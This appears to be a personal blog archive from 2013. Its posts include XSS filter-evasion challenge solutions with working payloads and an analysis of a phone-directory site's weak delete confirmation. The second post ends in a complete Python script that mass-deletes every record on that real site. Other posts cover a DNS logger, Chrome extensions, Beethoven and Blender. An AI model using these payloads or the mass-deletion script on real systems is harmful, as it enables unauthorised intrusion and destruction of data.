Sunday, 6 October 2013

XSS challenges on escape.alf.nu - Part 1

If you haven't seen it yet, there are 14 challenges that test your XSS filter evasion skills over here: http://escape.alf.nu/

Go try them before you read further, because spoilers.

Having never found any significant XSS on the web or attempted filter evasion of any sort, I could only manage the first 7 within reasonable time. Here are the solutions + a little explanation to them. Not all of them are the shortest solutions that exist.


Challenge 0

function escape(s) {
  // Warmup.

  return '<script>console.log("'+s+'");</script>';
}

No escaping or input filtering of any sort, so the answer is pretty simple:

"+alert(1)+"

Shortest, 12 characters.


Challenge 1

function escape(s) {
  // Escaping scheme courtesy of Adobe Systems, Inc.
  s = s.replace(/"/g, '\\"');
  return '<script>console.log("' + s + '");</script>';
}

Oh no, the quotes are being escaped! But nothing else is, so we can escape the escape character so the quote isn't escaped.

\");alert(1)</script>

Shortest solution is 14 characters. This is 21.


Challenge 2

function escape(s) {
  s = JSON.stringify(s);
  return '<script>console.log(' + s + ');</script>';
}

Now many characters will be escaped including \. So closing the script tag, and adding a new one seems to work. What I think happens here is that the browser sees this as a closing tag to the script tag in the beginning. Even though it throws a couple of errors,












this solution seems to work.

</script><scriptalert(1)</script>

Shortest solution is 27 characters, this is 34.


Challenge 3

function escape(s) {
  var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
  console.log(url);

  var a = document.createElement('a');
  a.href = url;
  document.body.appendChild(a);
  a.click();
}

JavaScript in the address bar. So we can no longer use the closing script tag trick. But, because this will be put in the address bar, the URL will be decoded. %22 is equivalent to ", but %22 won't be escaped by JSON.stringify()

So the solution is same as the first challenge, only the quotes are replaced by %22

%22+alert(1)+%22

Shortest solution is 15 characters. Just one extra here.


Challenge 4

function escape(s) {
  var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

This one took me some time. < is being replaced by &lt; and " is being replaced by &quot. Or is it?








This should be self explanatory. Unless you do a global regexp replace, only the first instance gets replaced. So we use extra quotes!

[[a|""onload="alert(1)]]

Shortest, 24 characters.


Challenge 5

function escape(s) {
  // Level 4 had a typo, thanks Alok.
  // If your solution for 4 still works here, you can go back and get more points on level 4 now.

  var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
  // URLs
  text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
  // [[img123|Description]]
  text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
  return text;
}

Oh noes! the replace issue has been fixed! What now? After much trial and error, I found that this happens to work.

[[a|http://onload='alert(1)']]

The description parameter has fewer restrictions when it is being matched by regexp, so we use http:// to bring regexp hell and find our way though that. We control some text outside the quotes, and then use single quotes to avoid being escaped.

Shortest, 30 characters.


Challenge 6

function escape(s) {
  // Slightly too lazy to make two input fields.
  // Pass in something like "TextNode#foo"
  var m = s.split(/#/);

  // Only slightly contrived at this point.
  var a = document.createElement('div');
  a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
  return a.innerHTML;
}

Reddit may have been of a little help here, but I was on the right track. TextNode will escape everything, so it would be difficult to find a way around it.

But TextNode isn't the only string which when suffixed to `create` gives you a document.<something> function. The JavaScript console in Chrome developer tools is an excellent place for this.





















createComment fulfills the purpose. Close the comment, and add a script tag.

Comment#><script>alert(1)</script>

Shortest unverified solution is 13 characters. Next one by  is 29 characters. This is 34.

I tried some hex encoded eval('alert(1)') on no. 8 but no luck. 
Challenges after this involve ()[]{}!+, which I have no idea about. 
But I found a good blog post on it: http://patriciopalladino.com/blog/2012/08/09/non-alphanumeric-javascript.html

That will be all.

Tuesday, 24 September 2013

DNSLogger

Apparently, there's no in-built utility to log DNS requests in non-server editions of Windows, and I cannot seem to find any third-party tools either.

The aim here is to run a scheduled task at log on that would log DNS queries.

A simple way would be to use dumpcap (~ command line Wireshark) with arguments in Task Scheduler. But that results in an ugly console window that will pop up and stay on your screen for the remainder of your session. dumpcap will write to file in temp directory, which has a tendency to get wiped. You can specify a filename with the -w flag but that would only be useful for a single run.

Python wouldn't really help me here*. I turned to C#, in which I haven't written anything before, so that should help.

A console app's window can be hidden by setting the Output type property to Windows Application in project properties.

Processes can be started using System.Diagnostic.Process. They can be hidden too:

proc = new System.Diagnostics.Process();
proc.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;

So, dumpcap's console window is also handled.

Now to restart dumpcap whenever it unexpectedly terminates:

DNSLogger logger = new DNSLogger();
logger.createProc();
while (true)
{
    logger.proc.WaitForExit();
    logger.createProc();
}

I cannot say if this is neat, but it works.

Finally, a basic task can be added in Windows Task Scheduler to run the executable at log on.
I suppose this can be useful during malware analysis over multiple sessions and a prolonged duration.

Source is up on Github

* You could possibly make it work using wxPython / Tkinter, etc. But it would be too much work for such a small project. Besides, for distribution purposes, the compiled (py2exe, PyInstaller) binary would be huge compared to one produced by C#.

Monday, 9 September 2013

cebg.py

Chrome Extension Boilerplate Generator

A simple, interactive python script to quickly generate manifest.json and create other specified files and directories for use in a Chrome extension
This began when I was thinking of writing a Chrome extension, only to be reminded of the tiresome process of creating a manifest file, specifying permissions and creating all extra files and sub-directories, etc. etc. 
So I decided to write a python script that would write a manifest.json and create directories and files as required.
There's a webapp that does a much better job. http://extensionizr.com, so I guess I won't be updating this very often.

Thursday, 5 September 2013

Beethoven's Piano Sonatas

One can better appreciate music, especially the works of one of the greatest musicians ever, if one has better understanding of the interpreted but not necessarily implied meaning of it. I know little of music but I don't want to keep it that way.

https://www.coursera.org/course/beethovensonatas

When he lays his hands on the Steinway, the instructor, Jonathan Biss, has the look of a man who has known peace. Not everyone is capable of completely understanding his lectures consisting of a fair bit of technical jargon, but the rest of the history and background on classical music is genuinely interesting.

Here's one of, what I consider to to be, Beethoven's most emotional piece of work, made tragic by this moment.

"Over time, his hearing loss became profound: there is a well-attested story that, at the end of the premiere of his Ninth Symphony, he had to be turned around to see the tumultuous applause of the audience; hearing nothing, he wept."



Friday, 5 April 2013

Camera Mapping in Blender

Followed yet another awesome tutorial by BlenderGuru on a different scene, with mixed results.


Lesson learnt: Stay away from camera mapping environments with a lot of reflections, or get rid of all reflections in the original and add them in Blender (with lighting + compositing)

Saturday, 23 March 2013

Code2HTML

After testing blogger I observed that it doesn't recognize the [code] tags used to syntax-highlight code (like wordpress), and there are a few alternatives like adding some lines to the template code or using an online service to generate syntax-highlighted HTML for your code.

I wrote a Chrome extension that allows you to syntax-highlight code. It makes a POST request to the API at http://hilite.me/api with the code body, language,style etc and all processing happens server-side. Hilite.me uses pygments at its core.

It's a popup window that allows you to paste code, select language and highlighting colour scheme.


Clicking the Highlight button will replace the code in the textarea with the generated HTML and show a preview below.


Downloadhttps://github.com/Siarc/code2html/archive/master.zip (Load unpacked extension in Chrome and point to the extracted folder)

Have any suggestions, issues, bugs , requests? : https://github.com/Siarc/code2html/issues

This is by no means a finished product, and I will probably publish it to the Chrome web store once stable.

Friday, 22 March 2013

Analysis of a Bad web-app

Alright, I can't really call this an app, it's more like a search engine ... that allows you delete its records.

 
 This website pissed me off as it makes ~11.5 million telephone records and related information(name,address) publicly searchable and indexable. I guess Google has already indexed all of the pages, and even if you delete a record, the information is still accessible in the search result descriptions, not to mention caches. It supposedly takes its data from BSNL's searchable but non-indexable directory. I can go on about how this is a privacy issue but I'll leave that for another post.

 

 There's a tiny delete button at the bottom that takes you to such a page.

 
 There's an id parameter (passed through the content body) associated with each telephone record, which I suppose is the database id of the record. The numbers of the equation are a textual part of the DOM and can be scraped to automate deletion of a record. I wrote a Python script to parse the HTML using regex and retrieve those numbers:

    equation = re.compile('([0-9]*[0-9]+)\ \+\ ([0-9]*[0-9]+)')
    p_url = 'http://www.phunwa.com/removeentry/'

    for counter in range(800000,800005):
        params = {
            'id':counter,
            'Remove this entry':'Remove this number from the site'
            }
        req = urllib2.Request(url=p_url,data=urllib.urlencode(params))
        phunwa = urllib2.urlopen(req)
        source = phunwa.read()
        numbers = equation.findall(source)
        for num in numbers:
            print "id: %s | %s + %s = %s" % \
            ((counter,num[0],num[1],(int(num[0])+int(num[1]))))



Which gives the following output:

id: 800000 | 119805 + 5480195 = 5600000
id: 800001 | 787730 + 4812277 = 5600007
id: 800002 | 534978 + 5065036 = 5600014
id: 800003 | 155396 + 5444625 = 5600021
id: 800004 | 88748 + 5511280 = 5600028



For each increment of the id, the answer increments by 7(even though the two numbers themselves are generated different each time) which can only mean one thing:

Whoever designed this thing never heard of re-captcha. It doesn't even verify if the referrer(which is the URL containing the phone-number associated with the id) is correct, but that's too much to ask for considering the confirmation method they chose to implement is answer = id*7

The total number of records could be around 11,547,208. That's the highest the id goes to before returning a 500. In theory, it is thus possible to delete every record on Phunwa.com without user-intervention at any point. Except for hiring an EC2 instance and running this script.

import re
import urllib
import urllib2

def annihilate_phunwa():
  p_url = 'http://www.phunwa.com/confirmdelete/'

  for counter in range(1,11547209):
    params = {
      'id':counter,
      'answer' : (counter*7),
      'Confirm Delete' : 'Submit Query'
      }
    try:
      req = urllib2.Request(url=p_url,data=urllib.urlencode(params))
      phunwa = urllib2.urlopen(req)
    except urllib2.HTTPError,e:
      if e.hdrs['Status'] == '500':
        print 'id=%s may already be deleted!' % ((counter,))
      else: print 'Something else has gone wrong!'

annihilate_phunwa()



I may update this code with one that implements threading.